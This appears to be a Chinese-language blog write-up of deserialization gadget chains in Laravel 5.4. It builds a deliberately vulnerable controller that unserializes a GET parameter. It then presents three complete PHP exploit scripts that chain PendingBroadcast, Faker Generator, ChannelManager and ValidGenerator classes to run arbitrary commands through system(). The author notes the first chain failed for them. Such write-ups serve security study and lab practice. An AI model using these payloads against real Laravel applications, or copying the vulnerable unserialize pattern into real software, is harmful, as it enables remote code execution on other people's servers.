环境安装
composer create-project --prefer-dist laravel/laravel blog "5.4.*"
添加路由
route/web.phpRoute::get('/seri', "seriController@seri");
添加控制器
app/Http/Controllers/SeriController.php
<?phpnamespace App\Http\Controllers;class SeriController extends Controller{public function seri(){if(isset($_GET['code'])){$code = $_GET['code'];unserialize($code);}else{highlight_file(__FILE__);}return "Laravel 5.4";}}?>
![WSC2C)_AIEDFAK1LETOG8K.png
漏洞分析
链子一
首先全局搜索 __destruct()
/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
/*** Handle the object's destruction.** @return void*/public function __destruct(){$this->events->dispatch($this->event);}}
这里的 $this->events 和 $this->event 都是可控的
全局搜索 __call()
/vendor/fzaninotto/faker/src/Faker/Generator.php
public function __call($method, $attributes){return $this->format($method, $attributes);}
同样两个参数都是可控的
跟进 format
public function format($formatter, $arguments = array()){return call_user_func_array($this->getFormatter($formatter), $arguments);}
传入的参数都是可控的,我们只要想把那法让前面的 $this->getFormatter($formatter) 的值为 system ,就可以进行命令执行了
跟进 getFormatter
public function getFormatter($formatter){if (isset($this->formatters[$formatter])) {return $this->formatters[$formatter];}foreach ($this->providers as $provider) {if (method_exists($provider, $formatter)) {$this->formatters[$formatter] = array($provider, $formatter);return $this->formatters[$formatter];}}throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));}
我们知道这里的 $this->formatters 也是可控的
则 $this->formatters[$formatter] 也可控
而 $formatter 就是 $dispatch
因此我们可以构造 $this->formatters = [‘$dispatch’ => ‘system’]
exp1
<?phpnamespace Illuminate\Broadcasting{use Faker\Generator;class PendingBroadcast{protected $events;protected $event;public function __construct($cmd){$this->event = $cmd;$this->events = new Generator;}}$seri = new PendingBroadcast('whoami');echo (serialize($seri));}namespace Faker{class Generator{protected $formatters = array();public function __construct(){$this->formatters = array('dispatch' => 'system');}}}?>
可恶啊,不知道为啥打不通
链子二
重新去寻找 __call 方法
/vendor/laravel/framework/src/Illuminate/Support/Manager.php
public function __call($method, $parameters){return $this->driver()->$method(...$parameters);}
跟进 driver
public function driver($driver = null){$driver = $driver ?: $this->getDefaultDriver();// If the given driver has not been created before, we will create the instances// here and cache it so we can return it next time very quickly. If there is// already a driver created by this name, we'll just return that instance.if (! isset($this->drivers[$driver])) {$this->drivers[$driver] = $this->createDriver($driver);}return $this->drivers[$driver];}
它们默认都是空,所以先跟进看看 createDriver
protected function createDriver($driver){// We'll check to see if a creator method exists for the given driver. If not we// will check for a custom driver creator, which allows developers to create// drivers using their own customized driver creator Closure to create it.if (isset($this->customCreators[$driver])) {return $this->callCustomCreator($driver);} else {$method = 'create'.Str::studly($driver).'Driver';if (method_exists($this, $method)) {return $this->$method();}}throw new InvalidArgumentException("Driver [$driver] not supported.");}
跟进看看 callCustomCreator
protected function callCustomCreator($driver){return $this->customCreators[$driver]($this->app);}
查看文件我们知道这里的 $driver 和 $this->app 都是可控的
$driver 则是 $driver = $driver ?: $this->getDefaultDriver(); 中得出的
跟进看看 getDefaultDriver
abstract public function getDefaultDriver();
getDefaultDriver 是一个 abstract 声明的抽象方法,因此我们需要去寻找到它的继承子类
/vendor/laravel/framework/src/Illuminate/Notifications/ChannelManager.php
public function getDefaultDriver(){return $this->defaultChannel;}
emm,这里的 $this->defaultChannel 是protected,但是也是能修改,emmm,那就是能控制了
return $this->customCreators[$driver]($this->app);中
另 $this->customCreators[$driver] == system
$this->app == whoami 即可执行命令
exp2
<?phpnamespace Illuminate\Broadcasting{use Illuminate\Notifications\ChannelManager;class PendingBroadcast{protected $events;public function __construct($cmd){$this->events = new ChannelManager($cmd);}}$seri = new PendingBroadcast('whoami');echo (serialize($seri));}namespace Illuminate\Notifications{class ChannelManager{protected $app;protected $defaultChannel;protected $customCreators;public function __construct($cmd){$this->defaultChannel = 'shivers';$this->customCreators = array('shivers' => 'system');$this->app = $cmd;}}}?>
链子三
再找一个 __call
/vendor/fzaninotto/faker/src/Faker/ValidGenerator.php
public function __call($name, $arguments){$i = 0;do {$res = call_user_func_array(array($this->generator, $name), $arguments);$i++;if ($i > $this->maxRetries) {throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));}} while (!call_user_func($this->validator, $res));return $res;}
这里的 $this->generator $this->maxRetries $this->validator 都是可控的
只要我们去满足$res = call_user_func_array(array($this->generator, $name), $arguments); 即可
因此我们需要找到一个 __call 方法能够返回可控制字符的对象,然后令 $this->generator 为这个对象,就等于控制了 $res
全局搜索找到
/vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php
public function __call($method, $attributes){return $this->default;}
确实 $this->default 可控
exp3
<?phpnamespace Illuminate\Broadcasting{use Faker\ValidGenerator;class PendingBroadcast{protected $events;public function __construct($cmd){$this->events = new ValidGenerator($cmd);}}$seri = new PendingBroadcast('whoami');echo base64_encode(serialize($seri));}namespace Faker{use Faker\DefaultGenerator;class ValidGenerator{protected $maxRetries;protected $validator;protected $generator;public function __construct($cmd){$this->generator = new DefaultGenerator($cmd);$this->maxRetries = 10000000;$this->validator = 'system';}}}namespace Faker{class DefaultGenerator{protected $default;public function __construct($cmd){$this->default = $cmd;}}}?>
